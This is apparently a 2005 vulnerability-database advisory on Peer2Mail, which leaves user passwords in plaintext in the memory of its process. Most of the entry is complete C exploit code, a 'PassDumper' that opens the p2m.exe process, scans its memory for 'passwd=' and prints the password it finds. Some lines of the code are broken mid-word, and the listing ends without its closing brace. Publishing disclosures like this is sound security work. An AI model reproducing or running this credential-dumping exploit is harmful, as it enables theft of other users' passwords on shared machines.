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| | Peer2Mail Discloses Passwords to Local Users |
|---|
Categorie: Vulnerability
Posted: 2005-01-18 by ReCall
Views: 567
Source: Click here
| Current Rating: Not rated
|
| | Details |
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Description: ATmaCA reported a vulnerability in Peer2Mail. A local user can obtain a password from memory.
After the user has logged in using an encrypted password, a local user can retrieve a plaintext password from the 'p2m.exe' process memory.
Exploit:
/*
* Peer2Mail Encrypt PassDumper Exploit v1.0
* Discoveried & Coded By ATmaCA
* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
*/
/*
* Peer2Mail 1.4 and prior versions are affected.
* Tested for gmail account on Win XP SP2
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tlhelp32.h>
void Credits(void);
DWORD GetPid(char ProcessName[200]);
int PutUserPassword(DWORD pid);
int main(void)
{
char TargetProcess[80];
DWORD pid;
Credits(); //print the credits to the screen
pid=GetPid("p2m.exe"); //Get the PID of the target process
if(pid==0)
{
printf("Error: Getting pid from %s",TargetProcess);
return EXIT_FAILURE;
}
if(PutUserPassword(pid)!=0) //if we can not get the password
return EXIT_FAILURE;
return EXIT_SUCCESS;
}
void Credits() //the function that prints the credits to the screen
{
printf("Peer2Mail Encrypt PassDumper Exploit v1.0\n");
printf("Discoveried & Coded By [ATmaCA]\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
printf("Web: http://www.atmacasoft.com\n");
printf("E-Mail: atmaca@icqmail.com\n\n");
}
DWORD GetPid(char ProcessName[200]) //gets the process-id from the processname
{
DWORD pid;
HANDLE Snap;
PROCESSENTRY32 proc32;
char CapProcessName[200];
strcpy(CapProcessName,CharLower(ProcessName));
Snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //Create a snapshot of all current runn
ing processes
if(Snap==INVALID_HANDLE_VALUE)
{
printf("Error creating snapshot of current processes.");
return 0;
}
proc32.dwSize=sizeof(PROCESSENTRY32);
while((Process32Next(Snap,&proc32))==TRUE) //Get the process-id from p2m.exe
{
if(strcmp(CharLower(proc32.szExeFile),CharLower(ProcessName))==0||strcmp(CharLower(proc
32.szExeFile),CharLower(CapProcessName))==0)
break;
}
pid=proc32.th32ProcessID;
CloseHandle(Snap);
return pid;
}
int PutUserPassword(DWORD pid)
{
#define BUFSIZE 500000
HANDLE hProc;
DWORD total;
long int base;
char buf[BUFSIZE];
char pass[BUFSIZE];
int i=0,j,k;
//open the process
hProc=OpenProcess(PROCESS_VM_READ,FALSE,pid);
if(hProc==NULL)
{
printf("Error: opening process.");
printf("\nPerhaps this account is too limited..");
return 1;
}
//
// The Base Memory Address To Search;
// The Password May Be Located Before The Address Or Far More From This Address,
// Which Causes The Result Unreliable
//
base=0x01320000;
//try to read the memory of p2m.exe
while(ReadProcessMemory(hProc,(PVOID)base,buf,BUFSIZE,&total)!=0)
{
for(i=0;i<BUFSIZE;i++)
{
if(buf[i]=='p'&&buf[i+1]=='a'&&buf[i+2]=='s'&&buf[i+3]=='s'&&
buf[i+4]=='w'&&buf[i+5]=='d'&&buf[i+6]=='=')
{
j=0;
for(k=i+7;k<BUFSIZE;k++)
{
if(buf[k]=='&')//check if we've reached the end of the password
{
pass[j]=NULL;
goto gotit;
}
pass[j]=buf[k];
j++;
}
break;
}
}
base+=BUFSIZE;
}
gotit:
printf("Password: %s",pass);
CloseHandle(hProc);
return 0;
Impact: A local user can obtain a password from memory.
Solution: No solution was available at the time of this entry.
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